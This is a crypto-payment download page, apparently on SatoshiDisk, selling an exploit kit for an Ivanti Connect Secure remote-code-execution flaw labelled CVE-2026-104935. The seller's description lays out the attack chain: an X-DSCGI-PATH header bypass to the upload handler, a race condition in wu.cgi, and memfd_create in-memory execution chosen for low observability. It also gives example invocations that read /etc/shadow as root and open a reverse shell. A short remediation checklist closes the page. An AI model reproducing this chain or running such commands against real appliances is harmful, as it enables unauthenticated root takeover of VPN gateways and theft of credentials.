$121.85 USD (by current exchange rate)
Total: 1 file(s)
Hidden text contain: 0 symbol(s)
Download file(s):
CVE-2026-104935-Ivanti.zip 9.09KB
Info(Description by file owner):
# CVE-2026-104935 — Ivanti Connect Secure / Pulse Secure RCE Exploit
## Overview
**CVE-2026-104935** is a critical remote code execution (RCE) vulnerability affecting Ivanti Connect Secure and Pulse Secure VPN gateways. The vulnerability allows unauthenticated attackers to execute arbitrary commands as root on the affected appliance.
## Attack Chain
The exploit chains two vulnerabilities:
1. **Authentication Bypass via `X-DSCGI-PATH` header** — `welcome.cgi` honors the custom `X-DSCGI-PATH` HTTP header to route incoming requests to an arbitrary CGI handler. By pointing this header at the authenticated upload handler (`/home/webserver/htdocs/dana/fb/smb/wu.cgi`), the attacker gains unauthenticated access to the file-upload functionality.
2. **TOCTOU Race Condition in `wu.cgi`** — The upload handler validates the destination path *before* completing the file transfer. By firing parallel requests, the exploit widens the race window so the file is written to disk outside the validation boundary. This primitive was documented by Volexity in their analysis of in-the-wild APT activity.
3. **In-Memory Command Execution** — The uploaded script (primer) executes entirely from RAM via `memfd_create`, minimizing disk footprint — consistent with low-observability tradecraft observed in production.
## Affected Versions
- **22.8** ≤ version ≤ **22.8R2.4**
- **25.1.x** ≤ version ≤ **25.1.1.1**
- **25.1.2** ≤ version ≤ **25.1.2.2**
## References
- [Volexity Blog — A Series of Unauthenticated Events](https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/)
- [NVD — CVE-2026-104935](https://nvd.nist.gov/vuln/detail/CVE-2026-104935)
- [CISA KEV Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
---
## Exploit Tool
`cve_2026-104935.py` is an authorized-use toolkit for detection, auditing, and exploitation of this vulnerability.
### Prerequisites
- Python 3.8+
- `requests` library (`pip install requests`)
### Usage Modes
| Mode | Description |
|---|---|
| `detect` | Non-interactive check — prints `[+] BYPASS CONFIRMED` or `[-] Bypass did not reach wu.cgi` |
| `audit` | Interactive fingerprinting + bypass check + remediation recommendations |
| `exploit` | Full exploit chain — upload primer + trigger execution |
### Command Examples
```bash
# Detect mode (no authorization required)
python3 cve_2026-104935.py https://vpn.example.com --mode detect
# Audit mode (shows version, vulnerability verdict, remediation checklist)
python3 cve_2026-104935.py https://vpn.example.com --mode audit --authorize yes
# Execute a custom command as root
python3 cve_2026-104935.py https://vpn.example.com --mode exploit \
--cmd "cat /etc/shadow" --exec-kind cmd --authorize yes
# Reverse shell (ensure nc is listening first)
python3 cve_2026-104935.py https://vpn.example.com --mode exploit \
--exec-kind reverse --lhost 10.0.0.1 --lport 4444 --authorize yes
# Probe mode (runs id; uname -a; version check)
python3 cve_2026-104935.py https://vpn.example.com --mode exploit \
--exec-kind probe --authorize yes
```
### Options
| Option | Default | Description |
|---|---|---|
| `--mode` | `audit` | Operation mode: `detect`, `audit`, or `exploit` |
| `--cmd` | — | Command to execute (exploit mode) |
| `--exec-kind` | `cmd` | Payload type: `cmd`, `reverse`, or `probe` |
| `--lhost` | — | Listener hostname/IP (reverse mode) |
| `--lport` | — | Listener port (reverse mode) |
| `--races` | `6` | Parallel upload attempts for the TOCTOU window |
| `--timeout` | `15` | HTTP request timeout in seconds |
| `--verify-tls` | — | Enable TLS certificate verification |
| `--proxy` | — | HTTP proxy URL |
| `--authorize` | — | Set to `yes` to skip authorization prompt |
| `--log-out` | auto-generated | Path for the engagement log file |
### Exit Codes
| Code | Meaning |
|---|---|
| `0` | Success / not exploitable (audit mode) |
| `1` | Bypass failed (likely patched) |
| `2` | Bypass confirmed (detect mode) |
| `3` | Unknown error |
| `4` | Runtime error |
### Engagement Log
Every run saves an engagement log (ISO-8601 timestamped) to the file specified by `--log-out`. This records all HTTP requests, responses, and verdicts for reporting purposes.
---
## Remediation Checklist
1. **Upgrade** immediately to the fixed build per Ivanti advisory.
2. **Rotate all secrets** reachable from the appliance: domain credentials cached in IDS sessions, AD service accounts, VPN user passwords.
3. **Hunt for persistence**: check `/tmp/.system/IDS_*` leftovers, unexpected `python`/`bash` children spawned by `/usr/local/bin/dsWeb` httpd workers, outbound connections after October 13, 2026.
4. **Review webserver access logs** for requests to `welcome.cgi` bearing `X-DSCGI-PATH` headers.
Enter valid email to buy this volume:
We will send download links to this email address after payment confirmation.
Please note that SatoshiDisk does not provide support for the items purchased through a seller via us. If you have questions regarding your product, please contact the seller directly. We can't refund, change, rollback or cancel the transaction because of blockchain protocol. All sales are final.